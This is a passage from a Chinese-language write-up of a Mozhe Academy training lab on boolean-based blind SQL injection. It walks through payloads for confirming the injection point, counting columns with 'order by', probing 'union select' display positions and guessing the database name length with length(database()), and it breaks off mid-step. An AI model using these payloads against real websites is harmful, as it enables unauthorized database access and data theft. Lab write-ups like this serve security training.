[墨者学院]SQL注入漏洞测试(布尔盲注)

length() 函数 返回字符串的长度 
ascii() 返回字符的ascii码   [将字符变为数字wei] 
substr() 截取字符串 （语法:SUBSTR(str,pos,len);）

布尔盲注

1.判断注入点

and -1=-1  页面返回有数据

and -1=-2  页面无结果返回          存在SQL注入。

2. 判断当前页面字段总数

and -1=-1 order by 4 页面返回有数据

and -1=-2 order by 5页面无结果返回           

 当前页面字段数为：4

3.判断显示位

and -1=-2 union select 1,2,3  页面无结果返回

and -1=-2 union select 1,2,3,4 页面正常返回

无回显点，应该是：盲注并且是布尔盲注（有明显的True和Flash）。

4.猜解当前数据库名称长度

and (length(database()))>9页面返回有数据

and (length(database()))>10页面无结